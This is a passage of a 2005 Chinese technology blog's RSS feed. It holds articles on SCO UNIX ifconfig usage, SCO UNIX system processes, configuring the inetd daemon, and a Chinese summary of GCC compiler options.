GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2089.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2089.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2089.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2089.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2089.html</trackback:ping><description><![CDATA[前一篇我们讲到了ifconfig 这个命令，它除了用于初始化网络接口外，还可以用来进行 <BR>其他临时性的配置，如临时取消一些网络接口的使用。下面是ifconfig命令的语法事例。 <BR><BR>Configuring Interfaces: <BR><BR># /etc/ifconfig　lo0　127.0.0.1　perf　57344 57344 1 <BR># /etc/ifconfig -p net0 200.100.50.1　netmask 255.255.255.0 \ <BR>&gt;broadcast 200.100.50.255 perf 24576 24576 1 <BR><BR>Listing Interfaces: <BR><BR># /etc/ifconfgi -a <BR>net1: flags=4043&gt;UP,BROADCAST,RUNNING,MULTICAST&gt; mtu 1500 <BR>　　　　inet 200.100.50.2 netmask ffffff00 broadcast 200.100.50.255 <BR>　　　　perf.　params: recv size: 24576; send size:24576;full-size frames: 1 <BR>lo0:　flags=4049&gt;UP,LOOPBACK,RUNNING,MULTICAST&gt; mtu 8232 <BR>　　　　inet 127.0.0.1 netmask ff000000 <BR>　　　　perf. params: recv size: 57344; send size: 57344; full-size frames:1 <BR>ppp0: flags=4071&gt;UP,POINTOPOINT,WANTIOCTLS,RUNNING,MULTICAST&gt; mtu 1500 <BR>　　　　inet 200.100.50.3 --&gt; 200.100.50.200 netmask ffffff00 <BR>　　　　perf. params: recv size: 4096;send size:8192; full-size frames: 1 <BR>注意。你可以针对每一个网络接口使用一个ifconfig命令，也可以对loopback接口使用ifconfig命令。 <BR>系统维护时的/etc/tcp操作：在系统维护状态下。/etc/tcp还可以完趁个以下功能。使你可以在具有相同网络号的其他系统中运行TCP/IP命令。 <BR>启动strerr(ADM)daemon：自动将出错信息记录到/usr/adm/syslog文件中 <BR>运行maskreply(ADMN)命令：提醒其他系统有关你的系统屏蔽信息。 <BR>启动或重起syslogd(ADMN)daemon：将信息记录到日志文件中，这一daemon具有很好的可配置性，对于用户非系系统网络鼓掌很有帮助。syslogd默认的配置文件于/etc/syslog.conf文件中。 <img src ="http://www.cnitblog.com/cyberfan/aggbug/2089.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 15:05 <a href="http://www.cnitblog.com/cyberfan/articles/2089.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SCO UNIX5的几个主要系统进程</title><link>http://www.cnitblog.com/cyberfan/articles/2090.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 07:05:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2090.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2090.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2090.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2090.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2090.html</trackback:ping><description><![CDATA[系统进程（Syetem Process ，又叫Daemon Process），不依赖于终端或用户的进程。用ps命令查询时，在TTY字段处显示为"？"。 <BR>一、Unix5最先启动的几个系统进程为： <BR>1. sched：PID=0 <BR>; UNIX核心创建的第一个进程 <BR>; 系统启动时创建其他系统进程 <BR>; 负责进程在swap和memory之间的切换(进程调度) <BR><BR>2. init：PID=1 <BR>; 初始化boot和login进程 <BR>; 所有用户进程的"祖先"（ancestor） <BR>; 所有非sched创建的系统进程的"祖先"（ancestor） <BR><BR>3. vhand：PID=2 <BR>; 将memory中较少使用的页移入swap 区。 <BR>4. dbflush：PID=3 <BR>; 在一定的时间间隔将"buffer cache"中的内容刷新至硬盘。 <BR><BR>5. kmdaemon：PID=4 <BR>; 管理保留内存池，以备服务进程中断时取用 <BR>6. htepi_daemon：PID=5 <BR>; 处理"ht filesystem driver " 的异步日志文件的修改 <BR><BR>二、对init进程的说明： <BR>init首先完成/etc/default/boot，然后再执行/etc/inittab中的指令。在从/etc/inittab中取得运行模式前，它首先派生一个shell完成下列工作： <BR><BR>/etc/bcheckrc 检查根文件系统 <BR>/etc/ifor_pmd 执行注册管理程序（许可证管理） <BR>/etc/smmck 检查TCB(Trusted Computing Base database) /etc/auth，/tcb <BR>　　 <BR>　　若选择了多用户模式，init继续派生一个shell执行下列工作： <BR>/etc/asktimerc，/etc/authchkrc（作用同smmck，只是smmck运行于单用户） <img src ="http://www.cnitblog.com/cyberfan/aggbug/2090.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 15:05 <a href="http://www.cnitblog.com/cyberfan/articles/2090.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SCO TCP/IP网络管理---守护进程inetd</title><link>http://www.cnitblog.com/cyberfan/articles/2087.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 07:04:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2087.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2087.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2087.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2087.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2087.html</trackback:ping><description><![CDATA[今天我们来讨论一个与INTERNET联系很大的守护进程：inetd。 <BR>　　 <BR>　　在INTERNET发展的初期，每种服务在系统进入多用户状态时都要启动各自的daemon。 <BR><BR>随着可用服务的不断增加，系统进程表及RAM就会被那些很少用到的进程填满，使得系统 <BR><BR>性能降低。解决这个问题的方法就在于利用INTERNET监控daemon--inetd。 <BR><BR>　　inetd是一个监听守护进程，他监听与提供INTERNET服务进程（如rlogin,telnet) <BR><BR>进行连接的要求，并扩展所需的服务进程。默认情况下inetd监听的这些daemon均列于/etc <BR><BR>/inetd.conf文件中，并可以通过inetd的命令行进行修改，大家可以在自己的UNIX机器上 <BR><BR>做做实验。学好UNIX并不是一味看书，一定要多多做实验，有了经验，自然就成为高手了， <BR><BR>我不希望大家都是page engineer，呵呵！ <BR><BR>　　编辑/etc/inetd.conf文件，可以改变inetd启动服务器守护进程的选项，然后驱使 <BR><BR>inetd以SIGHUP（signal 1)向当前的inetd进程发送信号，使inetd重读该文件。这一过程 <BR><BR>由kill命令来实现。 <BR><BR>　　随着用户对系统使用的逐步深入，可能会用到那些不是/etc/inetd.conf文件的默认项 <BR><BR>的inetd启动服务，或者需要在该文件中加入一些新的选项以后启动这些服务。 <BR><BR>　　让我们来看一个例子：你要用为系统增加一个由inetd启动的web服务器，就要创建如下 <BR><BR>选项：newd stream tcp nowait root /usr/local/bin/newd ;　 usr/local/lib/newd.conf <BR><BR>此外，还要在/etc/services文件从第一列开始为httpd增加一个选项。假如newd用1023 <BR><BR>口，则该选项为：newd 1023 tcp。注意：不是所有的internet服务进程都需要用inetd启 <BR><BR>动。如果需要inetd启动，就必须遵从inetd协议。虽然你可以启动/etc/inetd.conf定义之 <BR><BR>外的一个daemon，但并不意味着你一定要用这种方式，比如，从inetd运行web服务器就会对 <BR><BR>系统产生较大的影响。 <BR><BR>　　当你遇到C/S网络软件方面的问题时，通常很难断定这个问题是来自client,还是来自 <BR><BR>server如果一台服务器在连网后或是从client收到信息后能够打印出诊断信息，你就可以用 <BR><BR>telnet送出服务器的信息。除了主机名或以数字表示的IP地址外，telnet还可以直接连接一 <BR><BR>个端口号。你可以用如下方法测试你的SMTP服务器：telnet localhost 25（试一下吧，呵呵！） <img src ="http://www.cnitblog.com/cyberfan/aggbug/2087.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 15:04 <a href="http://www.cnitblog.com/cyberfan/articles/2087.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>GCC使用手册及常用命令行</title><link>http://www.cnitblog.com/cyberfan/articles/2086.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 07:02:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2086.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2086.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2086.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2086.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2086.html</trackback:ping><description><![CDATA[1.前言 <BR><BR>GCC编译器的手册(GCC MANUAL)的英文版已经非常全面，并且结构也非常完善了，只是一直都没有中文的版本，我这次阅读了GCC编译器的主要内容，对手册的内容进行了结构性 的了解，认为有必要对这次阅读的内容进行整理，为以后的工作做准备。 <BR><BR>由于我对这个英文手册的阅读也仅仅是结构性的。因此有很多地方并没有看，所以这篇文档的内容我也只能写出部分，对于以后需要详细了解的地方，会再往这篇文档中增添内容，需要增添的内容主要是编译器的各种开关。 <BR><BR>2. GCC功能介绍 <BR><BR>GCC编译器完成从C、C++、objective-C等源文件向运行在特定CPU硬件上的目标代码的转换（这是任何一个编译器需要完成的任务）。 <BR><BR>GCC能够处理的源文件分为C、C++、Objective-C、汇编语言等。对于这些源文件，用他们的后缀名进行标示。GCC能够处理的后缀有： <BR><BR>a. *.c *.C (C语言) <BR><BR>b. *.cxx *.cc (C++语言) <BR><BR>c. *.m (面向对象的C) <BR><BR>d. *.i (预处理后的C语言源文件) <BR><BR>e. *.ii (预处理后的C++语言源文件) <BR><BR>f. *.s *.S (汇编语言) <BR><BR>h. *.h (头文件) <BR><BR>目标文件可以是： <BR><BR>a. *.o 编译连接后的目标文件 <BR><BR>b. *.a 库文件 <BR><BR>编译器把编译生成目标代码的任务分为以下4步： <BR><BR>a.预处理，把预处理命令扫描处理完毕； <BR><BR>b.编译，把预处理后的结果编译成汇编或者目标模块； <BR><BR>c.汇编，把编译出来的结果汇编成具体CPU上的目标代码模块； <BR><BR>d.连接，把多个目标代码模块连接生成一个大的目标模块； <BR><BR>3. GCC开关 <BR><BR>GCC的运行开关共分为11类，这是类开关从11个方面控制着GCC程序的运行，以达到特定的编译目的。 <BR><BR>3.1. 全局开关(OVERALL OPTIONS) <BR><BR>全局开关用来控制在“GCC功能介绍”中的GCC的4个步骤的运行，在缺省的情况下，这4个步骤都是要执行的，但是当给定一些全局开关后，这些步骤就会在 某一步停止执行，这产生中间结果，例如可能你只是需要中间生成的预处理的结果或者是汇编文件(比如拟的目的是为了看某个CPU上的汇编语言怎么写)。 <BR><BR>3.1.1. –x language <BR><BR>对于源文件是用什么语言编写的，可以通过文件名的后缀来标示，也可以用这开关。指定输入文件是什么语言编写的，language 可以是如下的内容 <BR><BR>a. c <BR><BR>b. objective-c <BR><BR>c. c-header <BR><BR>d. c++ <BR><BR>e.cpp-output <BR><BR>f.assembler <BR><BR>g.assembler-with-cpp <BR><BR>3.1.2.–x none <BR><BR>把上一节介绍的-x开关都给关掉了。 <BR><BR>3.1.3. –c <BR><BR>编译成把源文件目标代码，不做连接的动作。 <BR><BR>3.1.4. –S <BR><BR>把源文件编译成汇编代码，不做汇编和连接的动作。 <BR><BR>3.1.5. –E <BR><BR>只把源文件进行预处理之后的结果输出来。不做编译，汇编，连接的动作。 <BR><BR>3.1.6. –o file <BR><BR>指明输出文件名是file。 <BR><BR>3.1.7. –v <BR><BR>把整个编译过程的输出信息都给打印出来。 <BR><BR>3.1.8.–pipe <BR><BR>由于gcc的工作分为好几步才完成，所以需要在过程中生成临时文件，使用-pipe就是用管道替换临时文件。 <BR><BR>3.2. 语言相关开关(Language Options) <BR><BR>用来处理和语言相关的控制开关。 <BR><BR>3.2.1.–ansi <BR><BR>这个开关让GCC编译器把所有的gnu的编译器特性都给关掉，让你的程序可以和ansi标准兼容。 <BR><BR>除了以上的开关外，语言相关开关还有很多，如果在以后的工作学习中遇到了再加不迟！3.3.预处理开关(Preprocessor Options) <BR><BR>用来控制预处理所设置的开关。 <BR><BR>3.3.1. –include file <BR><BR>在编译之前，把file包含进去，相当于在所有编译的源文件最前面加入了一个#include &lt;file&gt;语句，这样做更“省油”。 <BR><BR>3.3.2. –imacros file <BR><BR>同-include file 一样。不过这个文件在具体编译的时候只有里面定义的宏才起作用，所以值用来在file文件里面定义宏。 <BR><BR>3.3.3. –nostdinc <BR><BR>在搜寻include 的文件路径中去掉标准的c语言头文件搜索路径，例如stdio.h文件就是放在标准头文件搜索路径下。 <BR><BR>3.3.4. –nostdinc++ <BR><BR>同上，只是去掉的是标准C++语言的头文件搜索路径。 <BR><BR>3.3.5. –C <BR><BR>同-E参数配合使用。让预处理后的结果，把注释保留，让人能够比较好读它。 <BR><BR>3.3.6. –Dmacro <BR><BR>把macro定义为字符串’1’。 <BR><BR>3.3.7. –Dmacro = defn <BR><BR>把macro定义为defn。 <BR><BR>3.3.8. –Umacro <BR><BR>把对macro的定义取消。 <BR><BR>除了以上的开关外，预处理相关开关还有很多，如果在以后的工作学习中遇到了再加不迟！ <BR><BR>3.4. 汇编开关(Assembler Option) <BR><BR>用来控制汇编行为的开关。 <BR><BR>3.4.1. –Wa , option <BR><BR>把option作为开关送给汇编程序。如果option里面有逗号，则作为好几行进行处理。 <BR><BR>3.5.连接开关(Linker Options) <BR><BR>用来控制连接过程的开关选项。 <BR><BR>3.5.1. object-file-name <BR><BR>3.5.2. –llibrary <BR><BR>连接库文件开关。例如-lugl，则是把程序同libugl.a文件进行连接。 <BR><BR>3.5.3. –lobjc <BR><BR>这个开关用在面向对象的C语言文件的库文件处理中。 <BR><BR>3.5.4. –nostartfiles <BR><BR>在连接的时候不把系统相关的启动代码连接进来。 <BR><BR>3.5.5. –nostdlib <BR><BR>在连接的时候不把系统相关的启动文件和系统相关的库连接进来。 <BR><BR>3.5.6. –static <BR><BR>在一些系统上支持动态连接，这个开关则不允许动态连接。 <BR><BR>3.5.7. –shared <BR><BR>生成可共享的被其他程序连接的目标模块。 <BR><BR>连接相关的开关还有一些，以后需要的时候再补。 <BR><BR>3.6.目录相关开关(Directory Options) <BR><BR>用于定义与目录操作相关的开关。 <BR><BR>3.6.1. –Idir <BR><BR>宏include需要搜寻的目录。 <BR><BR>3.6.2.–I- <BR><BR>与-I开关类似。 <BR><BR>3.6.3.–Ldir <BR><BR>搜寻库文件(*.a)的路径。 <BR><BR>和目录相关的开关还有很多，以后需要再加。 <BR><BR>3.7. 警告开关(Warning Options) <BR><BR>与警告处理相关的开关。 <BR><BR>3.7.1.–fsyntax-only <BR><BR>只检查代码中的语法错误，但并没有输出。 <BR><BR>3.7.2. –w <BR><BR>禁止一切警告信息打印出来。 <BR><BR>3.7.3. –Wno-import <BR><BR>禁止对宏#import提出警告。 <BR><BR>3.7.4. –pedantic <BR><BR>3.7.5. –pedantic-errors <BR><BR>3.7.6. –W <BR><BR>还有很多与警告处理相关的开关，以后再补。 <BR><BR>3.8. 调试开关(Debugging Options) <BR><BR>3.8.1.–g <BR><BR>把调试开关打开，让编译的目标文件有调试信息。 <BR><BR>还有很多与调试处理相关的开关，以后再补。 <BR><BR>3.9. 优化开关(Optimization Options) <BR><BR>-O1 –O2 –O3 –O0，这些开关分别控制优化的强度，-O3最强。 <BR><BR>3.10. 目标机开关(Target Options) <BR><BR>3.10.1. –b machine <BR><BR>在有的时候，Gcc编译器编译出来的目标代码并不是在运行这个编译动作的机器上运行而是另外一台机器，这种编译叫做交叉编译，用来运行最终目标代码的得机器叫做目标机，machine就是用来指明目标机的类型的。 <BR><BR>3.10.2. –V version <BR><BR>用来告诉编译器使用它的多少版本的功能，version参数用来表示版本。 <BR><BR>3.11. CPU相关开关(Machine Dependent Options) <BR><BR>比较多，也是在交叉编译的时候用得着。以后再说。 <BR><BR>3.12. 生成代码开关(Code Generation Options) <BR><BR>********************************************************************************************<BR><BR>GCC　使用指南<BR>使用语法：<BR><BR>　　gcc [ option | filename ]... <BR>　　g++ [ option | filename ]... <BR><BR>　　其中 option 为 gcc 使用时的选项(后面会再详述)， <BR>　　而 filename 为欲以 gcc 处理的文件 <BR><BR>说明： <BR><BR>　　这 C 与 C++ 的 compiler 已将产生新程序的相关程序整合起来。产 <BR>生一个新的程序需要经过四个阶段：预处理、编译、汇编、连结，而这两<BR>个编译器都能将输入的文件做不同阶段的处理。虽然原始程序的扩展名可<BR>用来分辨编写原始程序码所用的语言，但不同的compiler，其预设的处理<BR>程序却各不相同：<BR><BR>　　gcc　　预设经由预处理过(扩展名为.i)的文件为 C 语言，并於程式<BR>　　　　　 连结阶段以 C 的连结方式处理。 <BR><BR>　　g++　　预设经由预处理过(扩展名为.i)的文件为 C++ 语言，并於程<BR>序连结阶段以 C++ 的连结方式处理。 <BR><BR>　　原始程序码的扩展名指出所用编写程序所用的语言，以及相对应的处 <BR>理方法： <BR><BR>　　.c　　C 原始程序　　　　　　　　 ； 预处理、编译、汇编 <BR>　　.C　　C++ 原始程序　　　　　　　　； 预处理、编译、汇编 <BR>　　.cc C++ 原始程序　　　　　　　　； 预处理、编译、汇编 <BR>　　.cxx C++ 原始程序　　　　　　　　； 预处理、编译、汇编 <BR>　　.m　　Objective-C 原始程序　　　　； 预处理、编译、汇编 <BR>　　.i　　已经过预处理之 C 原始程序　 ； 编译、汇编 <BR>　　.ii 已经过预处理之 C++ 原始程序 ； 编译、汇编 <BR>　　.s　　组合语言原始程序　　　　　　； 汇编 <BR>　　.S　　组合语言原始程序　　　　　　； 预处理、汇编 <BR>　　.h　　预处理文件(标头文件)　　　　； (不常出现在指令行) <BR><BR>　　其他扩展名的文件是由连结程序来处理，通常有： <BR><BR>　　.o　　Object file <BR>　　.a　　Archive file <BR><BR>　　除非编译过程出现错误，否则 "连结" 一定是产生一个新程序的最 <BR>　　後阶段。然而你也可以以 -c、-s 或 -E 等选项，将整个过程自四 <BR>　　个阶段中的其中一个停止。在连结阶段，所有与原始码相对应的 <BR>　　.o 文件、程序库、和其他无法自文件名辨明属性的文件(包括不以 .o <BR>　　为扩展名的 object file 以及扩展名为 .a 的 archive file)都会 <BR>　　交由连结程序来处理(在指令行将那些文件当作连结程序的参数传给 <BR>　　连结程序)。 <BR><BR>选项：<BR><BR>　　不同的选项必须分开来下：例如 `-dr' 这个选项就与 `-d -r' 大 <BR>　　不相同。 <BR><BR>　　绝大部份的 `-f' 及 `-W' 选项都有正反两种形式：-fname 及 <BR>　　-fno-name (或 -Wname 及 -Wno-name)。以下只列出非预设的那个 <BR>　　形式。 <BR><BR>　　以下是所有选项的摘要。以形式来分类。选项的意义将另辟小节说 <BR>　　明。 <BR><BR>　　一般性(概略、常用的)选项 <BR>　　　　　　 -c -S -E -o file -pipe -v -x language <BR><BR>　　程序语言选项 <BR>　　　　　　 -ansi -fall-virtual -fcond-mismatch <BR>　　　　　　 -fdollars-in-identifiers -fenum-int-equiv <BR>　　　　　　 -fexternal-templates -fno-asm -fno-builtin <BR>　　　　　　 -fno-strict-prototype -fsigned-bitfields <BR>　　　　　　 -fsigned-char -fthis-is-variable <BR>　　　　　　 -funsigned-bitfields -funsigned-char <BR>　　　　　　 -fwritable-strings -traditional -traditional-cpp <BR>　　　　　　 -trigraphs <BR><BR>　　编译时的警告选项 <BR>　　　　　　 -fsyntax-only -pedantic -pedantic-errors -w -W <BR>　　　　　　 -Wall -Waggregate-return -Wcast-align -Wcast-qual <BR>　　　　　　 -Wchar-subscript -Wcomment -Wconversion <BR>　　　　　　 -Wenum-clash -Werror -Wformat -Wid-clash-len <BR>　　　　　　 -Wimplicit -Winline -Wmissing-prototypes <BR>　　　　　　 -Wmissing-declarations -Wnested-externs -Wno-import <BR>　　　　　　 -Wparentheses -Wpointer-arith -Wredundant-decls <BR>　　　　　　 -Wreturn-type -Wshadow -Wstrict-prototypes -Wswitch <BR>　　　　　　 -Wtemplate-debugging -Wtraditional -Wtrigraphs <BR>　　　　　　 -Wuninitialized -Wunused -Wwrite-strings <BR><BR>　　除错选项 <BR>　　　　　　 -a -dletters -fpretend-float -g -glevel -gcoff <BR>　　　　　　 -gxcoff -gxcoff+ -gdwarf -gdwarf+ -gstabs -gstabs+ <BR>　　　　　　 -ggdb -p -pg -save-temps -print-file-name=library <BR>　　　　　　 -print-libgcc-file-name -print-prog-name=program <BR><BR>　　最佳化选项 <BR>　　　　　　 -fcaller-saves -fcse-follow-jumps -fcse-skip-blocks <BR>　　　　　　 -fdelayed-branch -felide-constructors <BR>　　　　　　 -fexpensive-optimizations -ffast-math -ffloat-store <BR>　　　　　　 -fforce-addr -fforce-mem -finline-functions <BR>　　　　　　 -fkeep-inline-functions -fmemoize-lookups <BR>　　　　　　 -fno-default-inline -fno-defer-pop <BR>　　　　　　 -fno-function-cse -fno-inline -fno-peephole <BR>　　　　　　 -fomit-frame-pointer -frerun-cse-after-loop <BR>　　　　　　 -fschedule-insns -fschedule-insns2 <BR>　　　　　　 -fstrength-reduce -fthread-jumps -funroll-all-loops <BR>　　　　　　 -funroll-loops -O -O2 <BR><BR>　　预处理选项 <BR>　　　　　　 -Aassertion -C -dD -dM -dN -Dmacro[=defn] -E -H <BR>　　　　　　 -idirafter dir -include file -imacros file -iprefix <BR>　　　　　　 file -iwithprefix dir -M -MD -MM -MMD -nostdinc -P <BR>　　　　　　 -Umacro -undef <BR><BR>　　汇编程序选项 <BR>　　　　　　 -Wa,option <BR><BR>　　连结程序选项 <BR>　　　　　　 -llibrary -nostartfiles -nostdlib -static -shared <BR>　　　　　　 -symbolic -Xlinker option -Wl,option -u symbol <BR><BR>　　目录选项 <BR>　　　　　　 -Bprefix -Idir -I- -Ldir <BR><BR>　　Target Options <BR>　　　　　　 -b machine -V version <BR><BR>　　与机器(平台)相关的选项 <BR>　　　　　　 M680x0 Options <BR>　　　　　　 -m68000 -m68020 -m68020-40 -m68030 -m68040 -m68881 <BR>　　　　　　 -mbitfield -mc68000 -mc68020 -mfpa -mnobitfield <BR>　　　　　　 -mrtd -mshort -msoft-float <BR><BR>　　　　　　 VAX Options <BR>　　　　　　 -mg -mgnu -munix <BR><BR>　　　　　　 SPARC Options <BR>　　　　　　 -mepilogue -mfpu -mhard-float -mno-fpu <BR>　　　　　　 -mno-epilogue -msoft-float -msparclite -mv8 <BR>　　　　　　 -msupersparc -mcypress <BR><BR>　　　　　　 Convex Options <BR>　　　　　　 -margcount -mc1 -mc2 -mnoargcount <BR><BR>　　　　　　 AMD29K Options <BR>　　　　　　 -m29000 -m29050 -mbw -mdw -mkernel-registers <BR>　　　　　　 -mlarge -mnbw -mnodw -msmall -mstack-check <BR>　　　　　　 -muser-registers <BR><BR>　　　　　　 M88K Options <BR>　　　　　　 -m88000 -m88100 -m88110 -mbig-pic <BR>　　　　　　 -mcheck-zero-division -mhandle-large-shift <BR>　　　　　　 -midentify-revision -mno-check-zero-division <BR>　　　　　　 -mno-ocs-debug-info -mno-ocs-frame-position <BR>　　　　　　 -mno-optimize-arg-area -mno-serialize-volatile <BR>　　　　　　 -mno-underscores -mocs-debug-info <BR>　　　　　　 -mocs-frame-position -moptimize-arg-area <BR>　　　　　　 -mserialize-volatile -mshort-data-num -msvr3 -msvr4 <BR>　　　　　　 -mtrap-large-shift -muse-div-instruction <BR>　　　　　　 -mversion-03.00 -mwarn-passed-structs <BR><BR>　　　　　　 RS6000 Options <BR>　　　　　　 -mfp-in-toc -mno-fop-in-toc <BR><BR>　　　　　　 RT Options <BR>　　　　　　 -mcall-lib-mul -mfp-arg-in-fpregs -mfp-arg-in-gregs <BR>　　　　　　 -mfull-fp-blocks -mhc-struct-return -min-line-mul <BR>　　　　　　 -mminimum-fp-blocks -mnohc-struct-return <BR><BR>　　　　　　 MIPS Options <BR>　　　　　　 -mcpu=cpu type -mips2 -mips3 -mint64 -mlong64 <BR>　　　　　　 -mlonglong128 -mmips-as -mgas -mrnames -mno-rnames <BR>　　　　　　 -mgpopt -mno-gpopt -mstats -mno-stats -mmemcpy <BR>　　　　　　 -mno-memcpy -mno-mips-tfile -mmips-tfile <BR>　　　　　　 -msoft-float -mhard-float -mabicalls -mno-abicalls <BR>　　　　　　 -mhalf-pic -mno-half-pic -G num -nocpp <BR><BR>　　　　　　 i386 Options <BR>　　　　　　 -m486 -mno-486 -msoft-float -mno-fp-ret-in-387 <BR><BR>　　　　　　 HPPA Options <BR>　　　　　　 -mpa-risc-1-0 -mpa-risc-1-1 -mkernel -mshared-libs <BR>　　　　　　 -mno-shared-libs -mlong-calls -mdisable-fpregs <BR>　　　　　　 -mdisable-indexing -mtrailing-colon <BR><BR>　　　　　　 i960 Options <BR>　　　　　　 -mcpu-type -mnumerics -msoft-float <BR>　　　　　　 -mleaf-procedures -mno-leaf-procedures -mtail-call <BR>　　　　　　 -mno-tail-call -mcomplex-addr -mno-complex-addr <BR>　　　　　　 -mcode-align -mno-code-align -mic-compat <BR>　　　　　　 -mic2.0-compat -mic3.0-compat -masm-compat <BR>　　　　　　 -mintel-asm -mstrict-align -mno-strict-align <BR>　　　　　　 -mold-align -mno-old-align <BR><BR>　　　　　　 DEC Alpha Options <BR>　　　　　　 -mfp-regs -mno-fp-regs -mno-soft-float -msoft-float <BR><BR>　　　　　　 System V Options <BR>　　　　　　 -G -Qy -Qn -YP,paths -Ym,dir <BR><BR>　　Code Generation Options <BR>　　　　　　 -fcall-saved-reg -fcall-used-reg -ffixed-reg <BR>　　　　　　 -finhibit-size-directive -fnonnull-objects <BR>　　　　　　 -fno-common -fno-ident -fno-gnu-linker <BR>　　　　　　 -fpcc-struct-return -fpic -fPIC <BR>　　　　　　 -freg-struct-returno -fshared-data -fshort-enums <BR>　　　　　　 -fshort-double -fvolatile -fvolatile-global <BR>　　　　　　 -fverbose-asm <BR><BR>PRAGMAS <BR>　　Two `#pragma' directives are supported for GNU C++, to <BR>　　permit using the same header file for two purposes: as a <BR>　　definition of interfaces to a given object class, and as <BR>　　the full definition of the contents of that object class. <BR><BR>　　#pragma interface <BR>　　　　　　 (C++ only.) Use this directive in header files <BR>　　　　　　 that define object classes, to save space in most <BR>　　　　　　 of the object files that use those classes. Nor- <BR>　　　　　　 mally, local copies of certain information (backup <BR>　　　　　　 copies of inline member functions, debugging infor- <BR>　　　　　　 mation, and the internal tables that implement vir- <BR>　　　　　　 tual functions) must be kept in each object file <BR>　　　　　　 that includes class definitions. You can use this <BR>　　　　　　 pragma to avoid such duplication. When a header <BR>　　　　　　 file containing `#pragma interface' is included in <BR>　　　　　　 a compilation, this auxiliary information will not <BR>　　　　　　 be generated (unless the main input source file it- <BR>　　　　　　 self uses `#pragma implementation'). Instead, the <BR>　　　　　　 object files will contain references to be resolved <BR>　　　　　　 at link time. <BR><BR>　　#pragma implementation <BR><BR>　　#pragma implementation "objects.h" <BR>　　　　　　 (C++ only.) Use this pragma in a main input file, <BR>　　　　　　 when you want full output from included header <BR>　　　　　　 files to be generated (and made globally visible). <BR>　　　　　　 The included header file, in turn, should use <BR>　　　　　　 `#pragma interface'. Backup copies of inline mem- <BR>　　　　　　 ber functions, debugging information, and the in- <BR>　　　　　　 ternal tables used to implement virtual functions <BR>　　　　　　 are all generated in implementation files. <BR><BR>　　　　　　 If you use `#pragma implementation' with no argu- <BR>　　　　　　 ment, it applies to an include file with the same <BR>　　　　　　 basename as your source file; for example, in <BR>　　　　　　 `allclass.cc', `#pragma implementation' by itself <BR>　　　　　　 is equivalent　　to　　`#pragma　　implementation <BR>　　　　　　 "allclass.h"'. Use the string argument if you want <BR>　　　　　　 a single implementation file to include code from <BR>　　　　　　 multiple header files. <BR><BR>　　　　　　 There is no way to split up the contents of a sin- <BR>　　　　　　 gle header file into multiple implementation files. <BR><BR>文件说明 <BR>　　file.c　　　　　　 C source file <BR>　　file.h　　　　　　 C header (preprocessor) file <BR>　　file.i　　　　　　 经预处理过的 C source file <BR>　　file.C　　　　　　 C++ source file <BR>　　file.cc　　　　　　C++ source file <BR>　　file.cxx　　　　C++ source file <BR>　　file.m　　　　　　 Objective-C source file <BR>　　file.s　　　　　　 assembly language file <BR>　　file.o　　　　　　 object file <BR>　　a.out　　　　　　 link edited output <BR>　　TMPDIR/cc*　　　　 temporary files <BR>　　LIBDIR/cpp　　　　 preprocessor <BR>　　LIBDIR/cc1　　　　 compiler for C <BR>　　LIBDIR/cc1plus　　 compiler for C++ <BR>　　LIBDIR/collect　　 linker front end needed on some machines <BR>　　LIBDIR/libgcc.a　　GCC subroutine library <BR>　　/lib/crt[01n].o　　start-up routine <BR>　　LIBDIR/ccrt0　　additional start-up routine for C++ <BR>　　/lib/libc.a　　　　standard C library, 参阅 man page intro(3) <BR>　　/usr/include　　standard directory for #include files <BR>　　LIBDIR/include　　 standard gcc directory for #include files <BR>　　LIBDIR/g++-include additional g++ directory for #include <BR><BR>　　LIBDIR is usually /usr/local/lib/machine/version. <BR>　　TMPDIR comes from the environment variable TMPDIR (default <BR>　　/usr/tmp if available, else /tmp).<BR><BR>*************************************************<BR>-o FILE <BR>指定输出文件名，在编译为目标代码时，这一选项不是必须的。如果FILE没有指定，缺省文件名是a.out. <BR><BR>-c <BR>只编译不链接 <BR><BR>-DFOO=BAR <BR>在命令行定义预处理宏FOO,其值为BAR <BR><BR>-IDIRNAME 